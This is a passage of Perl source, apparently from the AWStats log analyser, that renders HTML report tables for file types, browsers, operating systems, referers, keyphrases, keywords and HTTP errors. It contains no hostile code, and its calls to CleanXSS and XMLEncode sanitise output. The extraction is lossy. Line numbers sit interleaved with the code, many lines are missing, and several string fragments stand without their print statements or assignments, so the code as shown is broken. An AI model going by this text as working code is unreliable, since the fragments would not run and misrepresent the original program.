: "$StaticLinks.unknownbrowser.$StaticExt"
10276
. "\"$NewLinkTarget>$Message[0]</a>\n";
10277
print( $frame? "</td></tr>\n" : " " );
10279
if ($ShowScreenSizeStats) {
10280
print( $frame? "<tr><td class=\"awsm\">" : "" );
10282
"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
10283
print( $frame? "</td></tr>\n" : " " );
10285
if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
10289
'referer' => $ShowOriginStats ? 1 : 0,
10290
'refererse' => $ShowOriginStats ? 2 : 0,
10291
'refererpages' => $ShowOriginStats ? 3 : 0,
10292
'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
10295
'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
10296
'keywords' => $ShowKeywordsStats ? 6 : 0
10301
'refererpages' => 2,
10307
'referer' => $Message[37],
10308
'refererse' => $Message[126],
10309
'refererpages' => $Message[127],
10310
'keys' => $Message[14],
10311
'keyphrases' => $Message[120],
10312
'keywords' => $Message[121]
10315
'referers', $Message[23],
10316
'menu7.png', $frame,
10317
$targetpage, $linkanchor,
10318
$NewLinkParams, $NewLinkTarget,
10319
\%menu, \%menulink,
10325
'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
10326
'misc' => $ShowMiscStats ? 2 : 0,
10327
'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
10330
'clusters' => $ShowClusterStats ? 5 : 0
10339
'filetypes' => $Message[98],
10340
'misc' => $Message[139],
10342
( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
10343
'clusters' => $Message[155]
10345
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
10346
$menu{"errors$_"} = $ShowHTTPErrorsStats ? 4 : 0;
10347
$menulink{"errors$_"} = 2;
10348
$menutext{"errors$_"} = $Message[31];
10351
'others', $Message[2],
10352
'menu8.png', $frame,
10353
$targetpage, $linkanchor,
10354
$NewLinkParams, $NewLinkTarget,
10355
\%menu, \%menulink,
10364
foreach ( 1 .. @ExtraName - 1 ) {
10365
$menu{"extra$_"} = $i++;
10366
$menulink{"extra$_"} = 1;
10367
$menutext{"extra$_"} = $ExtraName[$_];
10368
$menu{"allextra$_"} = $i++;
10369
$menulink{"allextra$_"} = 2;
10370
$menutext{"allextra$_"} = $Message[80];
10373
'extra', $Message[134],
10375
$targetpage, $linkanchor,
10376
$NewLinkParams, $NewLinkTarget,
10377
\%menu, \%menulink,
10380
print "</table>\n";
10389
#print ($frame?"":"<br />\n");
10394
elsif ( !$HTMLOutput{'main'} ) {
10396
$NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i;
10397
$NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i;
10398
$NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i;
10399
$NewLinkParams =~ s/(&|&)+/&/i;
10400
$NewLinkParams =~ s/^&//;
10401
$NewLinkParams =~ s/&$//;
10402
if ( !$DetailedReportsOnNewWindows
10403
|| $FrameName eq 'mainright'
10404
|| $QueryString =~ /buildpdf/i )
10406
print "<tr><td class=\"aws\"><a href=\""
10408
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10409
? XMLEncode("$AWScript${NewLinkParams}")
10410
: "$StaticLinks.$StaticExt"
10412
. "\">$Message[76]</a></td></tr>\n";
10416
"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
10418
print "</table>\n";
10423
#------------------------------------------------------------------------------
10424
# Function: Prints the File Type table
10429
#------------------------------------------------------------------------------
10430
sub HTMLMainFileType{
10431
if (!$LevelForFileTypesDetection > 0){return;}
10432
if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
10433
print "$Center<a name=\"filetypes\"> </a><br />\n";
10435
foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
10437
foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
10438
my $title = "$Message[73]";
10439
if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
10441
# build keylist at top
10442
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
10445
&tab_head( "$title", 19, 0, 'filetypes' );
10447
# Graph the top five in a pie chart
10448
if (scalar @keylist > 1){
10449
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
10451
my @blocklabel = ();
10453
my @valcolor = ($color_p);
10455
foreach my $key (@keylist) {
10456
push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
10457
push @blocklabel, "$key";
10459
if ($cnt > 4) { last; }
10461
print "<tr><td colspan=\"7\">";
10462
my $function = "ShowGraph_$pluginname";
10464
"$title", "filetypes",
10470
print "</td></tr>";
10475
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
10477
if ( $ShowFileTypesStats =~ /H/i ) {
10478
print "<th bgcolor=\"#$color_h\" width=\"80\""
10480
. ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
10482
if ( $ShowFileTypesStats =~ /B/i ) {
10483
print "<th bgcolor=\"#$color_k\" width=\"80\""
10485
. ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
10487
if ( $ShowFileTypesStats =~ /C/i ) {
10489
"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
10495
foreach my $key (@keylist) {
10496
my $p_h = ' ';
10497
my $p_k = ' ';
10499
$p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
10503
$p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
10506
if ( $key eq 'Unknown' ) {
10508
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10509
. "><img src=\"$DirIcons\/mime\/unknown.png\""
10511
. " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
10514
my $nameicon = $MimeHashLib{$key}[0] || "notavailable";
10515
my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || " ";
10517
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10518
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
10520
. " /></td><td class=\"aws\">$key</td>";
10521
print "<td class=\"aws\">$nametype</td>";
10523
if ( $ShowFileTypesStats =~ /H/i ) {
10524
print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>";
10526
if ( $ShowFileTypesStats =~ /B/i ) {
10527
print '<td nowrap="nowrap">'
10528
. Format_Bytes( $_filetypes_k{$key} )
10529
. "</td><td>$p_k</td>";
10531
if ( $ShowFileTypesStats =~ /C/i ) {
10532
if ( $_filetypes_gz_in{$key} ) {
10535
1 - $_filetypes_gz_out{$key} /
10536
$_filetypes_gz_in{$key}
10540
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
10541
Format_Bytes( $_filetypes_gz_in{$key} ),
10542
Format_Bytes( $_filetypes_gz_out{$key} ),
10544
$_filetypes_gz_in{$key} -
10545
$_filetypes_gz_out{$key}
10549
$total_con += $_filetypes_gz_in{$key};
10550
$total_cre += $_filetypes_gz_out{$key};
10553
print "<td> </td><td> </td><td> </td>";
10560
# Add total (only usefull if compression is enabled)
10561
if ( $ShowFileTypesStats =~ /C/i ) {
10563
if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
10564
if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
10567
"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
10568
if ( $ShowFileTypesStats =~ /C/i ) {
10571
int( 100 * ( 1 - $total_cre / $total_con ) );
10573
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
10574
Format_Bytes($total_con),
10575
Format_Bytes($total_cre),
10576
Format_Bytes( $total_con - $total_cre ),
10581
print "<td> </td><td> </td><td> </td>";
10589
#------------------------------------------------------------------------------
10590
# Function: Prints the Browser Detail frame or static page
10595
#------------------------------------------------------------------------------
10596
sub HTMLShowBrowserDetail{
10597
# Show browsers versions
10598
print "$Center<a name=\"browsersversions\"> </a><br />";
10599
my $title = "$Message[21]";
10600
&tab_head( "$title", 19, 0, 'browsersversions' );
10602
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
10604
"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
10605
print "<th> </th>";
10609
&BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
10610
1, \%_browser_h, \%_browser_h );
10611
my %keysinkeylist = ();
10614
# Count total by family
10615
my %totalfamily_h = ();
10616
my $TotalFamily = 0;
10617
BROWSERLOOP: foreach my $key (@keylist) {
10618
$total_h += $_browser_h{$key};
10619
if ( $_browser_h{$key} > $max_h ) {
10620
$max_h = $_browser_h{$key};
10622
foreach my $family ( keys %BrowsersFamily ) {
10623
if ( $key =~ /^$family/i ) {
10624
$totalfamily_h{$family} += $_browser_h{$key};
10625
$TotalFamily += $_browser_h{$key};
10631
# Write records grouped in a browser family
10632
foreach my $family (
10633
sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
10634
keys %BrowsersFamily
10639
$p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
10642
my $familyheadershown = 0;
10644
#foreach my $key ( reverse sort keys %_browser_h ) {
10645
foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
10646
if ( $key =~ /^$family(.*)/i ) {
10647
if ( !$familyheadershown ) {
10649
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
10652
print "<td> </td><td><b>"
10653
. Format_Number(int( $totalfamily_h{$family} ))
10654
. "</b></td><td><b>$p</b></td><td> </td>";
10656
$familyheadershown = 1;
10658
$keysinkeylist{$key} = 1;
10663
int( $_browser_h{$key} / $total_h * 1000 ) / 10;
10668
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10669
. "><img src=\"$DirIcons\/browser\/$family.png\""
10672
print "<td class=\"aws\">"
10673
. ucfirst($family) . " "
10674
. ( $ver ? "$ver" : "?" ) . "</td>";
10677
$BrowsersHereAreGrabbers{$family}
10678
? "<b>$Message[112]</b>"
10683
if ( $max_h > 0 ) {
10685
int( $BarWidth * ( $_browser_h{$key} || 0 ) /
10688
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
10691
print "<td>".Format_Number($_browser_h{$key})."</td><td>$p</td>";
10692
print "<td class=\"aws\">";
10694
# alt and title are not provided to reduce page size
10695
if ($ShowBrowsersStats) {
10697
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
10706
# Write other records
10707
my $familyheadershown = 0;
10708
foreach my $key (@keylist) {
10709
if ( $keysinkeylist{$key} ) { next; }
10710
if ( !$familyheadershown ) {
10714
int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
10719
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
10720
print "<td> </td><td><b>"
10721
. Format_Number(( $total_h - $TotalFamily ))
10722
. "</b></td><td><b>$p</b></td><td> </td>";
10724
$familyheadershown = 1;
10728
$p = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
10732
if ( $key eq 'Unknown' ) {
10734
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10735
. "><img src=\"$DirIcons\/browser\/unknown.png\""
10737
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
10740
my $keywithoutcumul = $key;
10741
$keywithoutcumul =~ s/cumul$//i;
10742
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
10743
|| $keywithoutcumul;
10744
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
10747
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10748
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
10750
. " /></td><td class=\"aws\">$libbrowser</td><td>"
10752
$BrowsersHereAreGrabbers{$key}
10753
? "<b>$Message[112]</b>"
10759
if ( $max_h > 0 ) {
10761
int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
10764
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
10767
print "<td>".Format_Number($_browser_h{$key})."</td><td>$p</td>";
10768
print "<td class=\"aws\">";
10770
# alt and title are not provided to reduce page size
10771
if ($ShowBrowsersStats) {
10773
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
10782
#------------------------------------------------------------------------------
10783
# Function: Prints the Unknown Browser Detail frame or static page
10788
#------------------------------------------------------------------------------
10789
sub HTMLShowBrowserUnknown{
10790
print "$Center<a name=\"unknownbrowser\"> </a><br />\n";
10791
my $title = "$Message[50]";
10792
&tab_head( "$title", 19, 0, 'unknownbrowser' );
10793
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
10794
. ( scalar keys %_unknownrefererbrowser_l )
10795
. ")</th><th>$Message[9]</th></tr>\n";
10798
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
10799
\%_unknownrefererbrowser_l );
10800
foreach my $key (@keylist) {
10801
my $useragent = XMLEncode( CleanXSS($key) );
10803
"<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
10804
. Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
10809
my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
10810
if ( $rest_l > 0 ) {
10812
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
10813
print "<td>-</td>";
10820
#------------------------------------------------------------------------------
10821
# Function: Prints the OS Detail frame or static page
10826
#------------------------------------------------------------------------------
10827
sub HTMLShowOSDetail{
10829
print "$Center<a name=\"osversions\"> </a><br />";
10830
my $title = "$Message[59]";
10831
&tab_head( "$title", 19, 0, 'osversions' );
10833
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
10835
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
10836
print "<th> </th>";
10840
&BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
10841
1, \%_os_h, \%_os_h );
10842
my %keysinkeylist = ();
10845
# Count total by family
10846
my %totalfamily_h = ();
10847
my $TotalFamily = 0;
10848
OSLOOP: foreach my $key (@keylist) {
10849
$total_h += $_os_h{$key};
10850
if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
10851
foreach my $family ( keys %OSFamily ) {
10852
if ( $key =~ /^$family/i ) {
10853
$totalfamily_h{$family} += $_os_h{$key};
10854
$TotalFamily += $_os_h{$key};
10860
# Write records grouped in a browser family
10861
foreach my $family ( keys %OSFamily ) {
10864
$p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
10867
my $familyheadershown = 0;
10868
foreach my $key ( reverse sort keys %_os_h ) {
10869
if ( $key =~ /^$family(.*)/i ) {
10870
if ( !$familyheadershown ) {
10871
my $family_name = '';
10872
if ( $OSFamily{$family} ) {
10873
$family_name = $OSFamily{$family};
10876
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
10878
. Format_Number(int( $totalfamily_h{$family} ))
10879
. "</b></td><td><b>$p</b></td><td> </td>";
10881
$familyheadershown = 1;
10883
$keysinkeylist{$key} = 1;
10887
$p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
10892
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10893
. "><img src=\"$DirIcons\/os\/$key.png\""
10897
print "<td class=\"aws\">$OSHashLib{$key}</td>";
10899
if ( $max_h > 0 ) {
10901
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
10904
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
10907
print "<td>".Format_Number($_os_h{$key})."</td><td>$p</td>";
10908
print "<td class=\"aws\">";
10910
# alt and title are not provided to reduce page size
10911
if ($ShowOSStats) {
10913
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
10922
# Write other records
10923
my $familyheadershown = 0;
10924
foreach my $key (@keylist) {
10925
if ( $keysinkeylist{$key} ) { next; }
10926
if ( !$familyheadershown ) {
10930
int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
10935
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
10937
. Format_Number(( $total_h - $TotalFamily ))
10938
. "</b></td><td><b>$p</b></td><td> </td>";
10940
$familyheadershown = 1;
10944
$p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
10948
if ( $key eq 'Unknown' ) {
10950
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10951
. "><img src=\"$DirIcons\/browser\/unknown.png\""
10953
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
10956
my $keywithoutcumul = $key;
10957
$keywithoutcumul =~ s/cumul$//i;
10958
my $libos = $OSHashLib{$keywithoutcumul}
10959
|| $keywithoutcumul;
10960
my $nameicon = $keywithoutcumul;
10961
$nameicon =~ s/[^\w]//g;
10963
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10964
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
10966
. " /></td><td class=\"aws\">$libos</td>";
10969
if ( $max_h > 0 ) {
10971
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
10973
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
10974
print "<td>".Format_Number($_os_h{$key})."</td><td>$p</td>";
10975
print "<td class=\"aws\">";
10977
# alt and title are not provided to reduce page size
10978
if ($ShowOSStats) {
10980
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
10989
#------------------------------------------------------------------------------
10990
# Function: Prints the Unkown OS Detail frame or static page
10995
#------------------------------------------------------------------------------
10996
sub HTMLShowOSUnknown{
10997
print "$Center<a name=\"unknownos\"> </a><br />\n";
10998
my $title = "$Message[46]";
10999
&tab_head( "$title", 19, 0, 'unknownos' );
11000
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
11001
. ( scalar keys %_unknownreferer_l )
11002
. ")</th><th>$Message[9]</th></tr>\n";
11005
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
11006
\%_unknownreferer_l );
11007
foreach my $key (@keylist) {
11008
my $useragent = XMLEncode( CleanXSS($key) );
11009
print "<tr><td class=\"aws\">$useragent</td>";
11010
print "<td nowrap=\"nowrap\">"
11011
. Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
11016
my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
11017
if ( $rest_l > 0 ) {
11019
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11020
print "<td>-</td>";
11027
#------------------------------------------------------------------------------
11028
# Function: Prints the Referers frame or static page
11033
#------------------------------------------------------------------------------
11034
sub HTMLShowReferers{
11035
print "$Center<a name=\"refererse\"> </a><br />\n";
11036
my $title = "$Message[40]";
11037
&tab_head( "$title", 19, 0, 'refererse' );
11039
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>";
11041
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
11043
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
11052
$MaxRowsInHTMLOutput,
11056
( scalar keys %_se_referrals_p )
11057
? \%_se_referrals_p
11058
: \%_se_referrals_h
11060
); # before 5.4 only hits were recorded
11062
foreach my $key (@keylist) {
11063
my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
11066
if ($TotalSearchEnginesPages) {
11068
int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
11071
if ($TotalSearchEnginesHits) {
11073
int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
11076
print "<tr><td class=\"aws\">$newreferer</td>";
11079
$_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' )
11082
. ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>";
11083
print "<td>".Format_Number($_se_referrals_h{$key})."</td>";
11084
print "<td>$p_h %</td>";
11086
$total_p += $_se_referrals_p{$key};
11087
$total_h += $_se_referrals_h{$key};
11092
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
11096
$rest_p = $TotalSearchEnginesPages - $total_p;
11097
$rest_h = $TotalSearchEnginesHits - $total_h;
11098
if ( $rest_p > 0 || $rest_h > 0 ) {
11101
if ($TotalSearchEnginesPages) {
11103
int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
11105
if ($TotalSearchEnginesHits) {
11106
$p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
11109
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11110
print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>";
11111
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
11112
print "<td>".Format_Number($rest_h)."</td>";
11113
print "<td>$p_h %</td>";
11120
#------------------------------------------------------------------------------
11121
# Function: Prints the Referer Pages frame or static page
11126
#------------------------------------------------------------------------------
11127
sub HTMLShowRefererPages{
11128
print "$Center<a name=\"refererpages\"> </a><br />\n";
11135
&HTMLShowFormFilter(
11136
"refererpagesfilter",
11137
$FilterIn{'refererpages'},
11138
$FilterEx{'refererpages'}
11140
my $title = "$Message[41]";
11142
$cpt = ( scalar keys %_pagesrefs_h );
11143
&tab_head( "$title", 19, 0, 'refererpages' );
11144
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
11145
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
11147
if ( $FilterIn{'refererpages'} ) {
11148
print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
11150
if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
11153
if ( $FilterEx{'refererpages'} ) {
11155
"Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
11157
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
11160
print "$cpt $Message[28]";
11162
#if ($MonthRequired ne 'all') {
11163
# if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
11166
else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
11169
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
11171
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
11176
$MaxRowsInHTMLOutput,
11180
( scalar keys %_pagesrefs_p )
11186
foreach my $key (@keylist) {
11187
my $nompage = CleanXSS($key);
11188
if ( length($nompage) > $MaxLengthOfShownURL ) {
11190
substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
11194
if ($TotalRefererPages) {
11196
int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
11199
if ($TotalRefererHits) {
11201
int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
11204
print "<tr><td class=\"aws\">";
11205
&HTMLShowURLInfo($key);
11208
. ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : ' ' )
11210
. ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>";
11212
. ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : ' ' )
11214
. ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>";
11216
$total_p += $_pagesrefs_p{$key};
11217
$total_h += $_pagesrefs_h{$key};
11222
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
11226
$rest_p = $TotalRefererPages - $total_p;
11227
$rest_h = $TotalRefererHits - $total_h;
11228
if ( $rest_p > 0 || $rest_h > 0 ) {
11231
if ($TotalRefererPages) {
11232
$p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
11234
if ($TotalRefererHits) {
11235
$p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
11238
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11239
print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>";
11240
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
11241
print "<td>".Format_Number($rest_h)."</td>";
11242
print "<td>$p_h %</td>";
11249
#------------------------------------------------------------------------------
11250
# Function: Prints the Key Phrases frame or static page
11255
#------------------------------------------------------------------------------
11256
sub HTMLShowKeyPhrases{
11257
print "$Center<a name=\"keyphrases\"> </a><br />\n";
11258
&tab_head( $Message[43], 19, 0, 'keyphrases' );
11259
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
11261
. "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
11265
$MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
11266
\%_keyphrases, \%_keyphrases
11268
foreach my $key (@keylist) {
11270
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
11271
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
11273
DecodeKey_decodeutfkeys(
11274
$key, $PageCode || 'iso-8859-1'
11278
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
11280
if ($TotalKeyphrases) {
11282
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
11284
print "<tr><td class=\"aws\">"
11286
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
11287
$total_s += $_keyphrases{$key};
11291
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
11293
my $rest_s = $TotalKeyphrases - $total_s;
11294
if ( $rest_s > 0 ) {
11296
if ($TotalKeyphrases) {
11297
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
11300
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>";
11301
print "<td>$p %</td></tr>\n";
11307
#------------------------------------------------------------------------------
11308
# Function: Prints the Keywords frame or static page
11313
#------------------------------------------------------------------------------
11314
sub HTMLShowKeywords{
11315
print "$Center<a name=\"keywords\"> </a><br />\n";
11316
&tab_head( $Message[44], 19, 0, 'keywords' );
11317
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
11319
. "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
11322
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
11323
\%_keywords, \%_keywords );
11324
foreach my $key (@keylist) {
11326
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
11327
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
11329
DecodeKey_decodeutfkeys(
11330
$key, $PageCode || 'iso-8859-1'
11334
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
11336
if ($TotalKeywords) {
11337
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
11339
print "<tr><td class=\"aws\">"
11341
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
11342
$total_s += $_keywords{$key};
11346
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
11348
my $rest_s = $TotalKeywords - $total_s;
11349
if ( $rest_s > 0 ) {
11351
if ($TotalKeywords) {
11352
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
11355
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>";
11356
print "<td>$p %</td></tr>\n";
11362
#------------------------------------------------------------------------------
11363
# Function: Prints the HTTP Error code frame or static page
11364
# Parameters: $code - the error code we're printing
11368
#------------------------------------------------------------------------------
11369
sub HTMLShowErrorCodes{
11371
print "$Center<a name=\"errors$code\"> </a><br />\n";
11372
&tab_head( $Message[47], 19, 0, "errors$code" );
11373
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
11374
. Format_Number(( scalar keys %_sider404_h ))
11375
. ")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n";
11378
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h,
11380
foreach my $key (@keylist) {
11381
my $nompage = XMLEncode( CleanXSS($key) );
11383
#if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
11384
my $referer = XMLEncode( CleanXSS( $_referer404_h{$key} ) );
11385
print "<tr><td class=\"aws\">$nompage</td>";
11386
print "<td>".Format_Number($_sider404_h{$key})."</td>";
11387
print "<td class=\"aws\">"
11388
. ( $referer ? "$referer" : " " ) . "</td>";
11390
my $total_s += $_sider404_h{$key};
11394
